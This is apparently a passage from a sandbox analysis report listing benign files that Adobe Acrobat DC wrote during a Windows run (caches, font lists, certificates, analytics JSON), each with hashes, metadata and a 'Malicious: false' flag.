File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43897399046458
Encrypted:	false
SSDEEP:	384:yeaci5G+iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1WurVgazUpUTTGt
MD5:	EB98D39F09298EEA4B2C894E0A456E36
SHA1:	09392489CE35E552398E91779E8A63E672931279
SHA-256:	F2F847857213A319C3FC9C393AEAC8C89D0CD90111264D5FB34D0D131F680CFB
SHA-512:	BBE4D0A7A9596BCB5F8CD78EADF1F446188CAA4D49573A06897BE516BD39B4FD985D4117AFE8EF1C265CD26ECCEBC78925439A8A8020CB79690FDF64B3162657
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774616976887859
Encrypted:	false
SSDEEP:	48:7MNp/E2ioyV6ioy3DoWoy1CABoy1CKOioy1noy1AYoy1Wioy1hioybioyMoy1no9:72pju60iAmXKQFFb9IVXEBodRBk0
MD5:	8D4FB68D8DC957EBD3EEC64210C51EF5
SHA1:	BDF34A359C2D087104A295AF7B40B47C4EA60C3D
SHA-256:	2B2B1FDE75EDD9AC8C8FEE7048547192A82E3A75175DB6165949953182731027
SHA-512:	2C3C48AE3D07292654BB8B18221BEEBD3F5D75D0C6B162397E3B16D0F442A6CA3CA0730AE5A9E9412381AFCEF0311E0D70A64063F78FE27FC6FDF9F0A6A3027D
Malicious:	false
Preview:	.... .c........r...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkldB6KN/ltfllXlE/HT8kh7/JtNNX8RolJuRdxLlGB9lQRYwpDdt:kKyeT8o7/RNMa8RdWBwRd
MD5:	B7C3258AA722FF0760FA91B4A64D473C
SHA1:	1881B45131D53935AC83DCA63E299D70C98580CD
SHA-256:	18730882AA3C69839CDA7201869A335E527A609FFBF0D60A99DAC04A8EE3EB33
SHA-512:	C5C679124F110E845F0BC54673F6843AA1E5892CC0CBBD241FF71A72DA3D5BC10676DC7986DF1273E4C0293AFE5FD753AE7D99786B2ADE7E79AA501E48A99AFF
Malicious:	false
Preview:	p...... .........9..c..(....................................................... ..........W....D...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.130780111157357
Encrypted:	false
SSDEEP:	6:kKYL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:QiDnLNkPlE99SNxAhUe/3
MD5:	6DDF5500D0174FAC62B4BFF03B402751
SHA1:	1AFAFA46900E6901D14BDFA7F5DFF4D74C9C2644
SHA-256:	1D37D0041E7A24610CB994FA727772CE35962870EAB5FE934A50769F1C1D56A9
SHA-512:	DDDE270A1EAD78D1394EE4F058529F3BF972421EDB18D694780A4A7316CE280DB4FE94D2C7E35DE46D23A006C974D2EE741727DBEF78D0CC3123F852C4847B10
Malicious:	false
Preview:	p...... .........:...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7600

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7600

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351728780053154
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJM3g98kUwPeUkwRe9:YvXKXe7SbsdTeOmBGMbLUkee9
MD5:	4DE080D931382F029D29B7A71B06D401
SHA1:	3DA0EA0CEA30377359A457D48B237BECB68AF2B7
SHA-256:	604454FEBBF35D5978CC0343CEBC49FB26CA117D527BCB1C631E783E9A487FB8
SHA-512:	35A492958E9F22CB23D03241666D63BB0EA2E0F2D2507BA140E2C75CDD872E3AFADCD8CD53DC3623D98A05192BA39686EB0294438AC05B12F17720C7762D48F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289194081597219
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfBoTfXpnrPeUkwRe9:YvXKXe7SbsdTeOmBGWTfXcUkee9
MD5:	C8B091CE3A05F39882111FC105A65DF6
SHA1:	7CE22965673754955B425676A04F5C22F38FDD86
SHA-256:	8B0E65B090A4AB86776AD6C8D6D34D190F5FC7816F2A81A1557BC9E077640269
SHA-512:	970F97D514F82943C61CDEA44D44BE93192B01477275ED3E771EB688E002B939C11CBACA889BED5CAC79FDD4A700E0667B58ECC20B445F5DCCC79C8110D1FCBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.266737279815842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfBD2G6UpnrPeUkwRe9:YvXKXe7SbsdTeOmBGR22cUkee9
MD5:	317A256123A59AB5BAA9E6F6BCB7190D
SHA1:	87DFA0CE2CD102C1B96D049BD293111BC7941632
SHA-256:	7A8BFCFB45372F0643F6086C1206C948912FD3D729039DB76D68A7AC5EFCE58F
SHA-512:	B98185BC066996A6A2B1F9938766611B69F65DD4AAEADC7C00B5668DA6D3FE1BBE88677521F809F5E7A897E8E25EA924F7921A17D83EDE5CB5BE7378911D5ABA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338198851409232
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfPmwrPeUkwRe9:YvXKXe7SbsdTeOmBGH56Ukee9
MD5:	0F1FBB05A3F5E0E6A69EEF34BD120E6E
SHA1:	87CAA34A98B13CD9EFBD696813F0FB8F60B243BC
SHA-256:	4DCD2446BF97F008A2C5AA7C435FEF217DC1E1F57EB4179248740BF2DF982258
SHA-512:	DD2D7E7B149FDDA98370A642032639EC219D8914A3DF6779F5B2D4468ED50AFC2ABBF42872E6CC5BA3A4B488DB6968A4AF579B35382DCEE7704068FF610E6A43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68691392545959
Encrypted:	false
SSDEEP:	24:Yv6XbmeOmmpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+r:Yv/ejmhgy6SAFv5Ah8cv/+r
MD5:	F19CE24D29705BF4A3FD7FC53B370B8B
SHA1:	C58A9B2E8CD1F5446A276E9BE3F942415823EF76
SHA-256:	7F045057FC51C96929F79579049899FC3702E6B7927066DEBE9AFCC9CBE1B6E1
SHA-512:	29A2FF5E05184257CBBC525DB4A7CE22B8992E76CF64E8C21A19AD76D1D7398A2F22129E973B8011346E5DB3E0F7DE13AE89481B0192374D556E6CB51E919108
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273371637144308
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJf8dPeUkwRe9:YvXKXe7SbsdTeOmBGU8Ukee9
MD5:	53F740F8C990ABCADD0E6179B705E86C
SHA1:	5060794862943893974897C6F3499E26D32AE156
SHA-256:	174319F2934DC57F226DF2EEC5E463B0EFC46499F25EDDA781A8766ED80D16D8
SHA-512:	FD0C6963A0EA287BB223D4EF4DB7352A9AE2F09052CC4F0DC6009010581ED73160BCF4A976054AB8A98333ED4067CE29CFC1181AFA09FA155442DD45848416FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.278711074739917
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPv+IyuV4WsGiIPEeOF0YGRUoAvJfQ1rPeUkwRe9:YvXKXe7SbsdTeOmBGY16Ukee9
MD5:	DA47C91A8EC3E799671E7A1BE7770F8F
SHA1:	68CE3DD8A500666D4A4F30865F617EAD591B2E14
SHA-256:	8D5DFE41294B55BF0D496D69F90A4C6A011D2C9C23A5F7804192849BE984E3C9
SHA-512:	2C9D4D46C90E6419D8963B2C04D4578A8B221CFC40B51F8324EC7C0B0F6F18E3980B598B65478276B1EDF434D18F2B2EE5AE23D19FAC8F1CDAB7F12E28A5D63F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"82873c13-2da6-48dc-ac6a-2af60842898d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736721033779,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292451390395034
Encrypted:	false
